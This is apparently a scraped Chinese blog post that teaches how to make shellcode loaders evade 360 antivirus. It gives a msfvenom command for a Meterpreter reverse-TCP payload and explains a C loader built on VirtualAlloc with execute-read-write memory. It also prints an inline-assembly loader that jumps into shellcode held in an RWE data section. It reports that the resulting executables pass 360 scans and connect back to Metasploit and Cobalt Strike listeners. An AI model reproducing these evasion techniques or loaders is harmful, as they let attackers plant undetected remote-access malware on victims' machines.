zoukankan      html  css  js  c++  java
  • shellcode免杀丨C语言三条指令免杀360!你还困吗?

    shellcode免杀(1)C语言三条指令免杀360

    ✉ 1

    简介

    描述有错的地方各位师傅海涵。

    经过一下午的C语言测试,得出了十多种过360的·方法,这里拿三种c的方式过360(思路大体相同),还有一个c++的免杀360和火绒都可以过等有时间都可以跟大家更新。

    ✉ 2

    免杀过程

    废话就不多讲了对于初学者友好发展,先看一遍制作过程,我们准备好msf和cs的shllecode

    msfvenom -p windows/meterpreter/reverse_tcp LHOST="自己IP" LPORT="自己的端口" -f c > shell.txt


     

    CS生成shellcode,要用c语言的shellcode,每个语言的解析shellcode方式不同所以这里要选好语言形式。


     

    接下来就是把这些shellcode放到源码里进行免杀上线了,接下来的三种c语言免杀都是只能过360的,火绒动态被查,但是最后的C++是两个都可以过的,先来看个正经c语言免杀

    看下图,没错c语言免杀就需要这点代码,而且这是八年前的代码,如果研究免杀的朋友应该很眼熟毕竟也是传烂了,本文也主要为了解析免杀,我们来一步步分析。

    从这里开始麻烦真的想学免杀的仔细阅读,这是最简单的入门,如果你看不下去就不要学了。


     

    前三行其实就和Java,python的import一样;第四行也就是我们箭头指的这行是隐藏弹出窗口,也就是不让控制台蹦出来,至于unsignedchar指无符号类型的字符数组,这里各位理解为扩容就行了.


     

    下边为代码主要部分,pvoid就是指针,学过c语言的朋友都知道基本都用*代替了这里方便讲解就用了本体类型

    *P=null;//就是创建变量并且赋值

    inta;//一样的性质,*p= null其实就是inta =0;

    typedefvoid(_stdcall*CODE) //给类型起别名,也可以用指针代替原函数,我们说的简单点这里就是将_stdcall函数利用指针特性附给了我们自己起的CODE函数里,指针就是变量容器,但是指针存的是地址,也就是我把_stdcall的地址存到了CODE里所以它的值也都在里边了,但是CODE还是CODE并有自己的地址。这里各位别深究,你就当继承了就行。


     

    这里是最主要的,我们详细来讲解一下。

    VirtualAlloc,是win32的api函数,是用来申请动态内存的,动态内存我们可以通俗的理解为,主动式保护内存,可以根据我们自己决定是否存在;

    打个比喻,一个苹果吃完就没有了,但是一整棵树的苹果你想吃哪个吃哪个,有的朋友可能会想这不还是能吃完么,当然了,内存又不是无限的,这个申请动态内存就是在有限的范围留出你想要的地方。

    VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT |MEM_RESERVE,PAGE_EXECUTE_READWRITE);//函数内参数(要分配的内存区域的地址,分配的大小,分配的类型, 该内存的初始保护属性)

    ====================================

    这里的NULL是让系统自己分配内存地址;内存大小就是经典的sizeof了;

    MEM_COMMIT |MEM_RESERVE:为特定的页面区域分配内存中或磁盘的页面文件中的物理内存,或保存地址而不分配物理存储,也就是保留这一个地址随时可利用;

    PAGE_EXECUTE_READWRITE:可执行可读模式,可以理解为申请权限;

    到了这里我们来总结这串代码具体意思:

    “我申请了一块土地,土地大小是shellcode,我要用这块土地都给我腾出地,我不用这块土地但这土地就是我的-我不用你们也不准用,这土地谁都能看明白是我的并且只有我可以动”

    接下来看这块,if那里就是如果没有shellcode就直接结束进程了;


     

    memcpy函数,拷贝内存数据,和我们平时用的copy一样;

            ☆ p:容器,也就是要接受数据的目标数组;

            ☆ shellcode:复制的数据源;

            ☆ sizeof():复制的大小;

    代码解释:把多大的code存到p指针里;

    CODE=_stdcall,code=(_stdcall)p

    这里要好好看,前边我们已经给stdcall改了名字叫CODE,而stdcall的作用是从右向左压栈,这里是函数详细代码解析,不会汇编的朋友跳过就行也没必要深究本质;

    pushebp 保存ebp寄存器,该寄存器将用来保存堆栈的栈顶指针,可以在函数退出时恢复mov ebp,esp 保存堆栈指针moveax,[ebp + 8H] 堆栈中ebp指向位置之前依次保存有。

    ebp,cs:eip,a,b,ebp+8指向a

    add eax,[ebp + 0CH] 堆栈中ebp+ 12处保存了b

    mov esp,ebp 恢复esp

    pop ebp

    ret8

    我们这里再把之前赋值给p的数据拿来

    VirtualAlloc(NULL,sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    从右向左,也就是先申请保护内存,可读可用,之后占用好不让别人动,大小为code大小,最后系统你看着办给我个地儿。

    最后使用code();

    到这我们算是把这个代码讲解完了,进行总结:


     

    准备好调用头文件,其实和Java的依赖差不多;

            ▷ 把_stdcall改名为CODE,再隐藏弹窗;

            ▷ 将code存入shellcode数组;

            ▷ 创建指针变量p赋值为空方便存储;

            ▷ 将VirtuallAlloc函数存入p申请动态内存并保护;

            ▷ 如果shellcode为空则结束;

            ▷ 复制shellcode进p;

            ▷ 从右向左压栈;

            ▷ code()执行。

    终于到了看效果的时候了,把我们的shellcode放进去并生成exe文件


     

    来用360扫一下看看,没有报毒


     

    msf准备好监听看看能否上线并操作,可以上线并操作


     

    接下来看cs的


     

     

    看看运行,上线


     

    来看另外两个免杀,只需要三行指令即可免杀


     

     

    这里是嵌入式汇编呼叫ShellCode,学汇编的一看就明白了,鉴于很多开始专注于web渗透的师傅们很多不了解汇编我们这里简单讲解一下

    #pragmacomment(linker, "/section:.data,RWE")
    
    VOIDmain()
    
    {
    
      __asm
    
      {
    
     
    
          mov eax,offset ShellCode
    
          jmp eax
    
      }
    
    }

    #pragma comment(linker,"/section:.data,RWE"),这个等于之前的VirtualAlloc;

    __asm内联调用汇编语言达到不冲突可运行;

    调用offset函数引用shellcode进入eax寄存器;

    jmp无条件跳转进eax寄存器执行;

    ====================================

    没错,运用汇编就是这么轻松,加上创建内联,实际只用两条指令就可以轻松过360,过多的不介绍了,看运行结果


     

     

     

    本来是想把C++的一起发出来的,可是没想到C语言的就这么多了。

    最后,若想渗透好,就别要男女朋友,对象只会影响你的大脑思考。(狗头保命)

    —— END ——

    【值得关注】我的 编 程 学 习 交 流 俱 乐 部 !【进入领取】

    —————————————

    一起学习,一起交流,不管你是转行也好,初学也罢,进阶也可,如果你想学编程,进阶程序员~

    更多C语言入门资料(网盘链接免费分享):


     

    全方位C语言书籍(PDF免费分享):


     
  • 相关阅读:
    Charles 注册码
    pom.xml
    SpringMVC 表格跳转后显示${message}中的内容显示不出来
    使用IDEA 开发Spring,Maven-->并且部署到 tomcat
    Leetcode51 N后
    n queen
    八皇后问题
    Access提示“操作必须使用一个可更新的查询”的解决办法
    Win7系统卸载McAfee杀毒软件
    Win7(x64)升级到Win10
  • 原文地址:https://www.cnblogs.com/huya-edu/p/15237972.html
Copyright © 2011-2022 走看看